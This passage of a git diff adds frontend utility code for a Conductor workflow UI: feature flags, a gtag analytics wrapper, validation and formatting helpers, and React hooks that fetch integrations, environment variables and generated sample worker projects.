TASK_VISIBILITY: "TASK_VISIBILITY", + PLAYGROUND: "PLAYGROUND", + SCHEDULER: "SCHEDULER", + CREATOR_ENABLE_CREATOR: "CREATOR_ENABLE_CREATOR", + CREATOR_ENABLE_REAFLOW_DIAGRAM: "CREATOR_ENABLE_REAFLOW_DIAGRAM", + ENABLE_DARK_MODE_TOGGLE: "ENABLE_DARK_MODE_TOGGLE", + NAVBAR_ELEMENTS_VARIANT: "NAVBAR_ELEMENTS_VARIANT", + SHOW_START_TITLE: "SHOW_START_TITLE", + SHOW_CLOUD_LINK: "SHOW_CLOUD_LINK", + SHOW_FEEDBACK_FORM: "SHOW_FEEDBACK_FORM", + SHOW_SUPPORT_FORM: "SHOW_SUPPORT_FORM", + SHOW_DOCUMENTATION: "SHOW_DOCUMENTATION", + SHOW_JOIN_SLACK_COMMUNITY: "SHOW_JOIN_SLACK_COMMUNITY", + BETA_KEYBOARD_FLOW: "BETA_KEYBOARD_FLOW", + ENABLE_METRICS_DASHBOARD: "ENABLE_METRICS_DASHBOARD", + METRICS_ORIGIN_URL: "METRICS_ORIGIN_URL", + HIDE_JAVASCRIPT_OPTION: "HIDE_JAVASCRIPT_OPTION", + HUMAN_TASK: "HUMAN_TASK", + LOGIN_REDIRECT_TYPE: "LOGIN_REDIRECT_TYPE", + DRAG_DROP_TASK_INCREMENT_THRESHOLD: "DRAG_DROP_TASK_INCREMENT_THRESHOLD", + INTEGRATIONS: "INTEGRATIONS", + INTEGRATIONS_FLAT_LAYOUT: "INTEGRATIONS_FLAT_LAYOUT", + ANNOUNCEMENT_EXPIRY_DATE: "ANNOUNCEMENT_EXPIRY_DATE", + SHOW_NEWS_ICON: "SHOW_NEWS_ICON", + HEAP_APP_ID: "HEAP_APP_ID", + DISABLE_EXPAND_WORKFLOW: "ENABLE_EXPAND_WORKFLOW", + DISABLE_TASK_STATS: "ENABLE_TASK_STATS", + ENABLE_TASK_DEFINITION_FORM: "ENABLE_TASK_DEFINITION_FORM", + SECRETS: "SECRETS", + WEBHOOKS: "WEBHOOKS", + RBAC: "RBAC", + SHOW_ONBOARDING_QUIZ: "SHOW_ONBOARDING_QUIZ", + SKU_ENABLED: "SKU_ENABLED", + TASK_INDEXING: "TASK_INDEXING", + TRIGGER_WORKFLOW: "TRIGGER_WORKFLOW", + ENV_IS_PRODUCTION: "ENV_IS_PRODUCTION", + ENABLE_WHITE_BACKGROUND_FORM: "ENABLE_WHITE_BACKGROUND_FORM", + ADVANCED_ERROR_INSPECTOR_VALIDATIONS: "ADVANCED_ERROR_INSPECTOR_VALIDATIONS", + CUSTOM_LOGO_URL: "CUSTOM_LOGO_URL", + SHOW_END_TIME_IN_DATEPICKER: "SHOW_END_TIME_IN_DATEPICKER", + SHOW_EVENT_MONITOR: "SHOW_EVENT_MONITOR", + SENDGRID_TASK: "SENDGRID_TASK", + LOG_ROCKET_KEY: "LOG_ROCKET_KEY", + SHOW_AI_STUDIO_BANNER_FLAG: "SHOW_AI_STUDIO_BANNER_FLAG", + SHOW_GET_STARTED_PAGE: "SHOW_GET_STARTED_PAGE", + GET_STARTED_VIDEO_URL: "GET_STARTED_VIDEO_URL", + REMOTE_SERVICES: "REMOTE_SERVICES", + MULTITENANCY_TYPE: "MULTITENANCY_TYPE", + DEFAULT_ROLES: "DEFAULT_ROLES", + HIDE_IMPORT_BPMN: "HIDE_IMPORT_BPMN", + GATEWAY_ENABLED: "GATEWAY_ENABLED", + CLOUD_TEMPLATES_SOURCE: "CLOUD_TEMPLATES_SOURCE", + AI_PROMPTS_VERSIONING: "AI_PROMPTS_VERSIONING", + GROWTHBOOK_CLIENT_KEY: "GROWTHBOOK_CLIENT_KEY", + ENABLE_RERUN_FROM_FORK_AND_DOWHILE_TASKS: + "ENABLE_RERUN_FROM_FORK_AND_DOWHILE_TASKS", + GOOGLE_CLIENT_ID: "GOOGLE_CLIENT_ID", + NOTIFY_HUMAN_TASK: "NOTIFY_HUMAN_TASK", + WORKFLOW_INTROSPECTION: "WORKFLOW_INTROSPECTION", + WORKFLOW_SUMMARIZE: "WORKFLOW_SUMMARIZE", + ENABLE_CONFETTI: "ENABLE_CONFETTI", + OIDC_REMOVE_OFFLINE_ACCESS: "OIDC_REMOVE_OFFLINE_ACCESS", + SHOW_ROLES_MENU_ITEM: "SHOW_ROLES_MENU_ITEM", + SHOW_AGENT: "SHOW_AGENT", + ENABLE_AGENT_AUDIO_INPUT: "ENABLE_AGENT_AUDIO_INPUT", + // Driven by the server's conductor.integrations.ai.enabled (injected via /context.js). + // Gates the embedded AgentSpan agent pages (Agents, Executions, Skills, Secrets). + AGENTSPAN_ENABLED: "AGENTSPAN_ENABLED", + AI_CODER_WORKER: "AI_CODER_WORKER", + AI_CODER_CLOUD_WORKER: "AI_CODER_CLOUD_WORKER", + TAG_VISIBILITY: "TAG_VISIBILITY", + CONNECTED_APPS_ENABLED: "CONNECTED_APPS_ENABLED", +}); + +const mapOfLocalStorageValues = Object.fromEntries( + Object.entries(FEATURES).map(([k, v]) => [ + k, + localStorage.getItem(v) === null ? undefined : localStorage.getItem(v), + ]), +); +const mapOfEnvValues = Object.fromEntries( + Object.entries(FEATURES).map(([k, v]) => [ + k, + process.env[`REACT_APP_FEATURE_${v}`], + ]), +); + +// window.conductor is read lazily (at call time, not module load) so that +// bootstrap code (e.g. enterprise main.tsx) can set defaults on window.conductor +// before any component renders, without requiring per-customer backend config. +// Priority: localStorage > env vars > window.conductor +const getResolvedValue = (feature: string) => { + if (mapOfLocalStorageValues[feature] != null) + return mapOfLocalStorageValues[feature]; + if (mapOfEnvValues[feature] != null) return mapOfEnvValues[feature]; + return window.conductor?.[feature]; +}; + +export const featureFlags = { + isEnabled: (feature: string, defaultValue = false) => { + const val = getResolvedValue(feature); + if (val === undefined || val === null) return defaultValue; + return val === "true" || val === true; + }, + getValue: (feature: string, defaultValue?: string) => { + return getResolvedValue(feature) || defaultValue; + }, + getContextValue: (feature: string) => { + return window.conductor && window.conductor[feature]; + }, +}; diff --git a/ui-next/src/utils/gtag.ts b/ui-next/src/utils/gtag.ts new file mode 100644 index 0000000..04c413b --- /dev/null +++ b/ui-next/src/utils/gtag.ts @@ -0,0 +1,88 @@ +// This util means to replace gtag +import { useEffect } from "react"; +import { featureFlags, FEATURES } from "utils/flags"; + +declare global { + interface Window { + gtag: any; + dataLayer: any; + } +} + +interface EventParams { + user_uuid?: string; + workflow_name?: string; + user_performed_action?: string; + error_type?: string; + event?: object; + start_time?: number; + end_time?: number; + item_id?: string; +} + +type SimpleUserInfo = { + uuid?: string; + user?: any; + id?: string; +}; + +export const GTAG_LABEL = "G-6DLM7JND12"; + +const isPlayground = featureFlags.isEnabled(FEATURES.PLAYGROUND); +const gtagAbstract = (event_name: string, event_params: EventParams) => { + if (isPlayground && window && window.gtag) { + window.gtag("event", event_name, { + ...event_params, + ...(process.env.NODE_ENV === "development" ? { debug_mode: true } : {}), + }); + } +}; + +export const useConfigureGtagUserIdIfPlayground = ( + conductorUser?: SimpleUserInfo, +) => { + useEffect(() => { + if (isPlayground && window && window.gtag && conductorUser?.id) { + window.gtag("config", GTAG_LABEL, { + user_id: conductorUser.id, + }); + } + }, [conductorUser?.id]); +}; +// flatten a given nested object +type FlattenedObject = Record; + +const flattenGtagObject = ( + obj: Record, + prefix = "", +): FlattenedObject => { + let result: FlattenedObject = {}; + + for (const key in obj) { + const newKey = prefix ? `${prefix}_${key}` : key; + + if ( + typeof obj[key] === "object" && + obj[key] !== null && + !Array.isArray(obj[key]) + ) { + const flattenedNestedObject = flattenGtagObject(obj[key], newKey); + result = { ...result, ...flattenedNestedObject }; + } else if ( + key === "crumbs" && + Array.isArray(obj[key]) && + obj[key].length > 0 + ) { + for (let i = 0; i < obj[key].length; i++) { + const newItem = obj[key][i].ref; + result[`${newKey}_${obj[key][i].refIdx}`] = newItem; + } + } else { + result[newKey] = obj[key]; + } + } + + return result; +}; + +export { gtagAbstract, flattenGtagObject }; diff --git a/ui-next/src/utils/handleValidChars.ts b/ui-next/src/utils/handleValidChars.ts new file mode 100644 index 0000000..7e6ec08 --- /dev/null +++ b/ui-next/src/utils/handleValidChars.ts @@ -0,0 +1,32 @@ +import { ChangeEvent } from "react"; +import { TITLE_ALLOWED_CHARS } from "./constants/common"; +/** + * If chars are valid, call handler + * @param handler + * @param regExVal + * @returns + */ +export const handleValidChars = + (handler: (val: string) => void, regExVal: string = TITLE_ALLOWED_CHARS) => + (value: string) => { + const regEx = new RegExp(regExVal); + if (regEx.test(value)) { + handler(value); + } + }; + +export const handleValidCharsForEvents = + ( + handler: (evt: ChangeEvent) => void, + regExVal: string = TITLE_ALLOWED_CHARS, + ) => + (ov: ChangeEvent) => { + const value = ov.target.value; + const regEx = new RegExp(regExVal); + if (regEx.test(value)) { + handler({ + ...ov, + target: { value }, + } as ChangeEvent); + } + }; diff --git a/ui-next/src/utils/helpers.ts b/ui-next/src/utils/helpers.ts new file mode 100644 index 0000000..05b47ea --- /dev/null +++ b/ui-next/src/utils/helpers.ts @@ -0,0 +1,261 @@ +import _isInteger from "lodash/isInteger"; +import { HumanTaskState as TaskState } from "types/HumanTaskTypes"; +import { colors } from "theme/tokens/variables"; +import { WorkflowExecutionStatus } from "types/Execution"; +import { TaskStatus } from "types/TaskStatus"; +import { + FIELD_TYPE_BOOLEAN, + FIELD_TYPE_NULL, + FIELD_TYPE_NUMBER, + FIELD_TYPE_OBJECT, + FIELD_TYPE_STRING, + FieldType, +} from "types/common"; +import { WORKFLOW_SCHEDULE_EXECUTION_STATE } from "utils/constants/workflowScheduleExecution"; + +export function isFailedTask(status: TaskStatus) { + return ( + status === "FAILED" || + status === "FAILED_WITH_TERMINAL_ERROR" || + status === "TIMED_OUT" || + status === "CANCELED" + ); +} + +/** + * Create data table title via search result + * @param {array} filteredData: data after filtering or searching + * @param {array} data: data of table + * @returns {string} + */ +export function createTableTitle({ + filteredData = [], + data = [], +}: { + filteredData: any[]; + data: any[]; +}): string { + return filteredData.length === data.length + ? `${filteredData.length} results` + : `${filteredData.length} results (${ + data.length - filteredData.length + } not shown)`; +} + +export function juxt( + ...fns: readonly ((...args: T) => unknown)[] +): (...args: T) => unknown[] { + return (...args: T): unknown[] => { + return fns.map((fn) => fn(...args)); + }; +} + +/** + * Download file + * @param {object} data + * @param {string} fileName + * @param {string} type + */ +export type ExportableObject = { + data: Record; + fileName: string; + type: string; +}; + +export const exportObjToFile = ({ + data, + fileName, + type = "application/json", +}: ExportableObject) => { + const a = window.document.createElement("a"); + + a.href = window.URL.createObjectURL( + new Blob([JSON.stringify(data, null, 2)], { + type, + }), + ); + a.download = fileName; + + // Append anchor to body. + document.body.appendChild(a); + a.click(); + + // Remove anchor from body + document.body.removeChild(a); +}; + +const statusColor = { + success: colors.successTag, + progress: colors.progressTag, + error: colors.errorTag, + warning: colors.warningTag, +} as const; + +/** + * Get color for rendering chip status + * @param {string} status: item's status (ex: workflow's status...) + * @returns {string} + */ +export const getChipStatusColor = ( + status: TaskStatus | WorkflowExecutionStatus | TaskState, +) => { + switch (status) { + case WorkflowExecutionStatus.RUNNING: + case TaskStatus.IN_PROGRESS: + case TaskStatus.SCHEDULED: + case TaskState.ASSIGNED: + case WORKFLOW_SCHEDULE_EXECUTION_STATE.POLLED: + return statusColor.progress; + + case WorkflowExecutionStatus.COMPLETED: + case TaskStatus.COMPLETED: + case WORKFLOW_SCHEDULE_EXECUTION_STATE.EXECUTED: + return statusColor.success; + + case WorkflowExecutionStatus.PAUSED: + case TaskStatus.SKIPPED: + case TaskStatus.CANCELED: + case TaskStatus.PENDING: + return statusColor.warning; + + default: + return statusColor.error; + } +}; + +/** + * Open link in new tab + * @param {string} url + */ +export const openInNewTab = (url: string) => { + const newWindow = window.open(url, "_blank", "noopener,noreferrer"); + + if (newWindow) newWindow.opener = null; +}; + +export const inferType: (value: any) => FieldType = (value: any) => { + if (value === null) { + return FIELD_TYPE_NULL; + } + + if (typeof value === "number") { + return FIELD_TYPE_NUMBER; + } + + if (typeof value === "object") { + return FIELD_TYPE_OBJECT; + } + + if (typeof value === "boolean") { + return FIELD_TYPE_BOOLEAN; + } + + return FIELD_TYPE_STRING; +}; + +export type ValueInputDefaultValues = Partial>; + +export const DEFAULT_FIELD_VALUES_CONF: Record = { + [FIELD_TYPE_STRING]: "", + [FIELD_TYPE_NUMBER]: 0, + [FIELD_TYPE_OBJECT]: {}, + [FIELD_TYPE_BOOLEAN]: false, + [FIELD_TYPE_NULL]: null, +}; + +export const castToType = ( + value: any, + type: FieldType, + defaultValuesProvided: ValueInputDefaultValues = DEFAULT_FIELD_VALUES_CONF, +) => { + const defaultValues = { + ...DEFAULT_FIELD_VALUES_CONF, + ...defaultValuesProvided, + }; + if (type === FIELD_TYPE_NUMBER) { + try { + if (!isNaN(value)) { + return Number(value); + } + + return defaultValues[FIELD_TYPE_NUMBER]; + } catch { + return defaultValues[FIELD_TYPE_NUMBER]; + } + } + + if (type === FIELD_TYPE_OBJECT) { + try { + return typeof value !== "boolean" && value !== null && isNaN(value) + ? JSON.parse(value) + : defaultValues[FIELD_TYPE_OBJECT]; + } catch { + return defaultValues[FIELD_TYPE_OBJECT]; + } + } + + if (type === FIELD_TYPE_BOOLEAN) { + return Boolean(value); + } + + if (type === FIELD_TYPE_NULL) { + return null; + } + return typeof value === "string" ? value : defaultValues[FIELD_TYPE_STRING]; +}; + +export const checkCoerceTypeError = ({ + value, + coerceTo, +}: { + value: any; + coerceTo: any; +}) => { + // Don't check reference string + if (typeof value === "string" && value.startsWith("${")) { + return false; + } + + const tempValue = castToType( + value, + isNaN(value as any) ? FIELD_TYPE_STRING : FIELD_TYPE_NUMBER, + ); + const valueType = inferType(tempValue); + + const isIntegerValue = _isInteger(tempValue); + + if (coerceTo === "integer") { + return !isIntegerValue; + } + + if (coerceTo === "double") { + return valueType !== FIELD_TYPE_NUMBER; + } + + return false; +}; + +export function replacePathPlaceholdersToWorkflowInput(path: string): string { + return path.replace(/\{(\w+)\}/g, (_, key) => `\${workflow.input.${key}}`); +} + +export const parseErrorResponse = async ({ + response, + module, + operation = "performing this operation", +}: { + response: Response; + module: string; + operation?: string; +}): Promise => { + try { + const json = await response?.json(); + if (json?.message) { + return json.message; + } else { + return `An error occurred while ${operation} on ${module}`; + } + } catch { + return `An error occurred while ${operation} on ${module}`; + } +}; diff --git a/ui-next/src/utils/hooks/index.ts b/ui-next/src/utils/hooks/index.ts new file mode 100644 index 0000000..bfdba8c --- /dev/null +++ b/ui-next/src/utils/hooks/index.ts @@ -0,0 +1,4 @@ +export * from "./useCustomPagination"; +export * from "./useEventNameSuggestions"; +export * from "./useGetIntegrations"; +export * from "./useWorkflowNamesAndVersionsQuery"; diff --git a/ui-next/src/utils/hooks/useAutoCompleteInputValidation.ts b/ui-next/src/utils/hooks/useAutoCompleteInputValidation.ts new file mode 100644 index 0000000..6339e53 --- /dev/null +++ b/ui-next/src/utils/hooks/useAutoCompleteInputValidation.ts @@ -0,0 +1,15 @@ +import { useState } from "react"; + +export const useAutoCompleteInputValidation = (initialValue = "") => { + const [value, setValue] = useState(initialValue); + const [isFocused, setFocused] = useState(false); + const hasError = !!value && !isFocused; + + return { + value, + setValue, + isFocused, + setFocused, + hasError, + }; +}; diff --git a/ui-next/src/utils/hooks/useConductorProjectBuilder.ts b/ui-next/src/utils/hooks/useConductorProjectBuilder.ts new file mode 100644 index 0000000..7b41c91 --- /dev/null +++ b/ui-next/src/utils/hooks/useConductorProjectBuilder.ts @@ -0,0 +1,256 @@ +import { + CodeLanguage, + JavaLanguageSet, +} from "components/features/getStartedSample/types"; +import { useState, useEffect, useCallback } from "react"; + +interface UseConductorProjectBuilderOptionsBase { + apiKey?: string; + apiSecret?: string; + serverUrl: string; + language: CodeLanguage; + taskName: string; + useEnvVars: boolean; +} + +interface UseConductorProjectBuilderOptionsJava extends UseConductorProjectBuilderOptionsBase { + language: CodeLanguage.JAVA; + languageSet: JavaLanguageSet; + projectName?: string; + packageName?: string; +} + +interface UseConductorProjectBuilderOptionsGo extends UseConductorProjectBuilderOptionsBase { + language: CodeLanguage.GO; +} + +interface UseConductorProjectBuilderOptionsPython extends UseConductorProjectBuilderOptionsBase { + language: CodeLanguage.PYTHON; +} + +interface UseConductorProjectBuilderOptionsJavaScript extends UseConductorProjectBuilderOptionsBase { + language: CodeLanguage.JS; +} + +interface UseConductorProjectBuilderOptionsCSharp extends UseConductorProjectBuilderOptionsBase { + language: CodeLanguage.CSHARP; + namespace?: string; +} + +interface UseConductorProjectBuilderOptionsClojure extends UseConductorProjectBuilderOptionsBase { + language: CodeLanguage.CLOJURE; +} + +interface UseConductorProjectBuilderOptionsGroovy extends UseConductorProjectBuilderOptionsBase { + language: CodeLanguage.GROOVY; + packageName?: string; +} + +type UseConductorProjectBuilderOptions = + | UseConductorProjectBuilderOptionsJava + | UseConductorProjectBuilderOptionsGo + | UseConductorProjectBuilderOptionsPython + | UseConductorProjectBuilderOptionsJavaScript + | UseConductorProjectBuilderOptionsCSharp + | UseConductorProjectBuilderOptionsClojure + | UseConductorProjectBuilderOptionsGroovy; + +interface UseConductorProjectBuilderReturn { + displayCode: string; + onDownload: () => Promise; +} + +const BASE_URL = "https://m9mk8uem2r.us-east-1.awsapprunner.com/"; + +export const useConductorProjectBuilder = ( + options: UseConductorProjectBuilderOptions, +): UseConductorProjectBuilderReturn => { + const { apiKey, apiSecret, serverUrl, language, taskName, useEnvVars } = + options; + const [displayCode, setDisplayCode] = useState(""); + + const getUrl = useCallback( + (isCode: boolean) => { + const url = new URL(BASE_URL); + + if (language === CodeLanguage.JAVA) { + const { languageSet, projectName, packageName } = options; + + if (languageSet === JavaLanguageSet.GRADLE) { + url.pathname = isCode + ? "project/worker/java/file/HelloWorldWorker.java" + : "project/worker/java/project.zip"; + } else if (languageSet === JavaLanguageSet.SPRING_GRADLE) { + url.pathname = isCode + ? "project/worker/spring/file/Worker.java" + : "project/worker/spring/project.zip"; + } + + if (isCode) { + if (projectName) { + url.searchParams.append("projectName", projectName); + } + if (packageName) { + url.searchParams.append("packageName", packageName); + } + } + } + + if (language === CodeLanguage.GO) { + url.pathname = isCode + ? "project/worker/go/file/worker.go" + : "project/worker/go/project.zip"; + } + + if (language === CodeLanguage.PYTHON) { + url.pathname = isCode + ? "project/worker/python/file/worker.py" + : "project/worker/python/project.zip"; + } + + if (language === CodeLanguage.JS) { + url.pathname = isCode + ? "project/worker/javascript/file/worker.js" + : "project/worker/javascript/project.zip"; + } + + if (language === CodeLanguage.CSHARP) { + const { namespace } = options; + + url.pathname = isCode + ? "project/worker/csharp/file/Worker.cs" + : "project/worker/csharp/project.zip"; + + if (isCode) { + if (namespace) { + url.searchParams.append("namespace", namespace); + } + } + } + + if (language === CodeLanguage.CLOJURE) { + url.pathname = isCode + ? "project/worker/clojure/file/core.clj" + : "project/worker/clojure/project.zip"; + } + + if (language === CodeLanguage.GROOVY) { + const { packageName } = options; + + url.pathname = isCode + ? "project/worker/groovydsl/file/worker.groovy" + : "project/worker/groovydsl/project.zip"; + + if (isCode) { + if (packageName) { + url.searchParams.append("packageName", packageName); + } + } + } + + if (isCode) { + if (useEnvVars) { + url.searchParams.append("useEnvVars", useEnvVars.toString()); + } else { + if (apiKey) { + url.searchParams.append("keyId", apiKey); + } + if (apiSecret) { + url.searchParams.append("secret", apiSecret); + } + } + url.searchParams.append("serverUrl", serverUrl); + url.searchParams.append("taskName", taskName); + } + + return url; + }, + [language, useEnvVars, apiKey, apiSecret, serverUrl, taskName, options], + ); + + // Function to fetch the project code based on user inputs + const fetchProjectCode = useCallback(async () => { + try { + const response = await fetch(getUrl(true), { + method: "GET", + headers: { + "Content-Type": "application/json", + }, + }); + + if (!response.ok) { + throw new Error(`Error fetching project code: ${response.statusText}`); + } + + const code = await response.text(); + setDisplayCode(code || "No code available"); + } catch (error) { + console.error("Error fetching project code:", error); + setDisplayCode("Error fetching project code."); + } + }, [getUrl]); + + // Function to download the project as a file + const onDownload = useCallback(async () => { + try { + const requestBody = { + ...(apiKey && { keyId: apiKey }), + ...(apiSecret && { secret: apiSecret }), + ...(serverUrl && { serverUrl }), + ...(taskName && { taskName }), + ...(useEnvVars && { useEnvVars }), + ...(options.language === CodeLanguage.JAVA && { + projectName: + (options as UseConductorProjectBuilderOptionsJava).projectName || + undefined, + packageName: + (options as UseConductorProjectBuilderOptionsJava).packageName || + undefined, + }), + ...(options.language === CodeLanguage.CSHARP && { + namespace: + (options as UseConductorProjectBuilderOptionsCSharp).namespace || + undefined, + }), + ...(options.language === CodeLanguage.GROOVY && { + packageNacme: + (options as UseConductorProjectBuilderOptionsGroovy).packageName || + undefined, + }), + }; + + const response = await fetch(getUrl(false), { + method: "POST", + headers: { + "Content-Type": "application/json", + }, + body: JSON.stringify(requestBody), + }); + + if (!response.ok) { + throw new Error(`Error downloading project: ${response.statusText}`); + } + + const blob = await response.blob(); + const url = window.URL.createObjectURL(blob); + const link = document.createElement("a"); + link.href = url; + link.setAttribute("download", `project.zip`); + document.body.appendChild(link); + link.click(); + link.remove(); + } catch (error) { + console.error("Error downloading project:", error); + } + }, [apiKey, apiSecret, serverUrl, taskName, useEnvVars, options, getUrl]); + + useEffect(() => { + const delay = setTimeout(() => { + fetchProjectCode(); + }, 500); // 500ms debounce delay + + return () => clearTimeout(delay); + }, [fetchProjectCode]); + + return { displayCode, onDownload }; +}; diff --git a/ui-next/src/utils/hooks/useCustomPagination.ts b/ui-next/src/utils/hooks/useCustomPagination.ts new file mode 100644 index 0000000..40ededd --- /dev/null +++ b/ui-next/src/utils/hooks/useCustomPagination.ts @@ -0,0 +1,44 @@ +import { useCallback } from "react"; +import { useQueryState } from "react-router-use-location-state"; +import { + FILTER_QUERY_PARAM, + PAGE_QUERY_PARAM, + SEARCH_QUERY_PARAM, +} from "utils/constants/common"; + +const useCustomPagination = () => { + const [filterParam, setFilterParam] = useQueryState(FILTER_QUERY_PARAM, ""); + const [pageParam, setPageParam] = useQueryState(PAGE_QUERY_PARAM, ""); + const [searchParam, setSearchParam] = useQueryState(SEARCH_QUERY_PARAM, ""); + + const handleSearchTermChange = useCallback( + (searchTerm: string) => { + setSearchParam(searchTerm); + }, + [setSearchParam], + ); + + const handlePageChange = useCallback( + (currentTablePage: number) => { + setPageParam(currentTablePage.toString()); + }, + [setPageParam], + ); + + return [ + { + filterParam, + pageParam, + searchParam, + }, + { + handlePageChange, + handleSearchTermChange, + setFilterParam, + setPageParam, + setSearchParam, + }, + ] as const; +}; + +export default useCustomPagination; diff --git a/ui-next/src/utils/hooks/useEditorForm.ts b/ui-next/src/utils/hooks/useEditorForm.ts new file mode 100644 index 0000000..bfcb1df --- /dev/null +++ b/ui-next/src/utils/hooks/useEditorForm.ts @@ -0,0 +1,94 @@ +import { useCallback, useState } from "react"; +import { FieldValues, UseFormReturn } from "react-hook-form"; +import { + getEditorToFormValue, + getFormToEditorValue, +} from "utils/reactHookForm"; +import { tryToJson } from "utils/utils"; + +export const useEditorForm = < + T extends FieldValues, + TTransformedValues = undefined, +>({ + formMethods, + hiddenKeys = [], +}: { + formMethods: UseFormReturn; + hiddenKeys?: string[]; +}): { + editorValue: string; + isEditorValid: boolean; + setInitialFormData: (value: T) => void; + updateEditorValue: (value?: string) => void; +} => { + const [editorValue, setEditorValue] = useState(""); + const [isEditorValid, setIsEditorValid] = useState(true); + + const updateEditorValue = useCallback( + (value?: string) => { + const editorText = + value ?? getFormToEditorValue(formMethods.getValues(), hiddenKeys); + setEditorValue(editorText); + + const parsedValue = tryToJson(editorText); + if (parsedValue) { + setIsEditorValid(true); + if (value) { + // When user edits in code editor, update form but keep default values + // This marks the form as dirty (expected behavior) + formMethods.reset( + getEditorToFormValue( + formMethods.getValues() || {}, + parsedValue, + hiddenKeys, + ), + { + keepDefaultValues: true, + }, + ); + } + } else { + setIsEditorValid(false); + } + }, + [formMethods, hiddenKeys], + ); + + const setInitialFormData = useCallback( + (value: T) => { + // Normalize the incoming data to match the form's default structure + // Convert undefined fields to null to prevent isDirty issues + const currentValues = formMethods.getValues(); + const normalizedValue: T = { ...value }; + + Object.keys(currentValues).forEach((key) => { + if (normalizedValue[key as keyof T] === undefined) { + (normalizedValue as FieldValues)[key] = null; + } + }); + + // Reset form with normalized data and explicitly update defaultValues + // Use keepValues: false and keepDefaultValues: false to ensure + // the form's internal state is completely reset + formMethods.reset(normalizedValue, { + keepValues: false, + keepDefaultValues: false, + keepErrors: false, + keepDirty: false, + keepIsValid: false, + keepTouched: false, + keepIsSubmitted: false, + keepSubmitCount: false, + }); + updateEditorValue(); + }, + [formMethods, updateEditorValue], + ); + + return { + editorValue, + isEditorValid, + setInitialFormData, + updateEditorValue, + }; +}; diff --git a/ui-next/src/utils/hooks/useEntityAvailableVersions.ts b/ui-next/src/utils/hooks/useEntityAvailableVersions.ts new file mode 100644 index 0000000..93a3fa5 --- /dev/null +++ b/ui-next/src/utils/hooks/useEntityAvailableVersions.ts @@ -0,0 +1,37 @@ +import { useMemo } from "react"; +import _ from "lodash"; +import { useFetch } from "utils"; + +type useEntityAvailableVersionsProps = { + url: string; + name: string; + queryKey?: string[]; +}; + +export const useEntityAvailableVersions = ({ + url, + name, +}: useEntityAvailableVersionsProps) => { + const { data, refetch, isFetching } = useFetch(url); + + const availableVersions: number[] = useMemo(() => { + return ( + _.chain(data) + .groupBy("name") + .map((group, key) => ({ + name: key, + versions: _.map(group, "version"), + })) + .find((item) => item.name === name) + .get("versions") + .orderBy((version) => version, "asc") + .value() || [] + ); + }, [data, name]); + + return { + availableVersions, + refetchAvailableVersions: refetch, + isFetchingAvailableVersions: isFetching, + }; +}; diff --git a/ui-next/src/utils/hooks/useEventNameSuggestions.ts b/ui-next/src/utils/hooks/useEventNameSuggestions.ts new file mode 100644 index 0000000..380e6c4 --- /dev/null +++ b/ui-next/src/utils/hooks/useEventNameSuggestions.ts @@ -0,0 +1,14 @@ +import { useMemo } from "react"; +import { useGetIntegration } from "./useGetIntegrations"; +import { MESSAGE_BROKER } from "../constants/event"; + +export const useEventNameSuggestions = () => { + const { data: integrations = [] } = useGetIntegration({ + category: MESSAGE_BROKER, + }); + + return useMemo( + () => integrations.map(({ type, name }) => `${type}:${name}`), + [integrations], + ); +}; diff --git a/ui-next/src/utils/hooks/useGetEntities.ts b/ui-next/src/utils/hooks/useGetEntities.ts new file mode 100644 index 0000000..093cf60 --- /dev/null +++ b/ui-next/src/utils/hooks/useGetEntities.ts @@ -0,0 +1,23 @@ +import { useMemo } from "react"; +import { useFetch } from "utils"; + +type useGetEntitesProps = { + url: string; + map?: (entities: T[]) => U[]; +}; + +export const useGetEntites = ({ url, map }: useGetEntitesProps) => { + const { data } = useFetch(url); + + const entities: U[] = useMemo(() => { + if (!data) { + return []; + } + + return map ? map(data) : data; + }, [data, map]); + + return { + entities, + }; +}; diff --git a/ui-next/src/utils/hooks/useGetEnvironmentVariables.ts b/ui-next/src/utils/hooks/useGetEnvironmentVariables.ts new file mode 100644 index 0000000..5636a98 --- /dev/null +++ b/ui-next/src/utils/hooks/useGetEnvironmentVariables.ts @@ -0,0 +1,39 @@ +import { fetchWithContext, useFetchContext } from "plugins/fetch"; +import { useQuery } from "react-query"; +import { EnvironmentVariables } from "types/EnvVariables"; +import { FEATURES, featureFlags } from "utils/flags"; +import { + computeFetchBaseEnabled, + STALE_TIME_SEARCH, + useAuthHeaders, +} from "utils/query"; + +const ENVIRONMENT_VARIABLES_PATH = "/environment"; + +export const useGetEnvironmentVariables = () => { + const fetchContext = useFetchContext(); + const headers = useAuthHeaders(); + const fetchParams = { headers }; + + return useQuery( + [fetchContext.stack, ENVIRONMENT_VARIABLES_PATH], + () => { + const path = ENVIRONMENT_VARIABLES_PATH; + return fetchWithContext(path, fetchContext, fetchParams); + // staletime to ensure stable view when paginating back and forth (even if underlying results change) + }, + { + enabled: + computeFetchBaseEnabled(fetchContext, headers) && + featureFlags.isEnabled(FEATURES.INTEGRATIONS), + keepPreviousData: true, + staleTime: STALE_TIME_SEARCH, + retry: (failureCount: number, error: any) => { + if (error?.status >= 400 && error.status < 500) { + return false; + } + return failureCount > 3; + }, + }, + ); +}; diff --git a/ui-next/src/utils/hooks/useGetIntegrations.ts b/ui-next/src/utils/hooks/useGetIntegrations.ts new file mode 100644 index 0000000..0f8b557 --- /dev/null +++ b/ui-next/src/utils/hooks/useGetIntegrations.ts @@ -0,0 +1,71 @@ +import { fetchWithContext, useFetchContext } from "plugins/fetch"; +import { FEATURES, featureFlags } from "utils/flags"; +import { toMaybeQueryString } from "utils"; +import { + computeFetchBaseEnabled, + DEFAULT_STALE_TIME, + STALE_TIME_WORKFLOW_DEFS, + useAuthHeaders, +} from "utils/query"; +import { useQuery } from "react-query"; +import { IntegrationDef, IntegrationI } from "types"; + +const INTEGRATIONS_PATH = "/integrations/provider"; +const INTEGRATION_DEF_PATH = "/integrations/def"; + +type GetIntegrationsProps = { + category?: string; + activeOnly?: boolean; +}; + +export const useGetIntegration = ({ + activeOnly = false, + ...restProps +}: GetIntegrationsProps) => { + const fetchContext = useFetchContext(); + const headers = useAuthHeaders(); + const fetchParams = { headers }; + const props = { activeOnly, ...restProps }; + + return useQuery( + [fetchContext.stack, INTEGRATIONS_PATH, props], + () => { + const path = `${INTEGRATIONS_PATH}${toMaybeQueryString(props)}`; + return fetchWithContext(path, fetchContext, fetchParams); + // staletime to ensure stable view when paginating back and forth (even if underlying results change) + }, + { + enabled: + computeFetchBaseEnabled(fetchContext, headers) && + featureFlags.isEnabled(FEATURES.INTEGRATIONS), + keepPreviousData: true, + staleTime: DEFAULT_STALE_TIME, + retry: (failureCount: number, error: any) => { + if (error?.status >= 400 && error.status < 500) { + 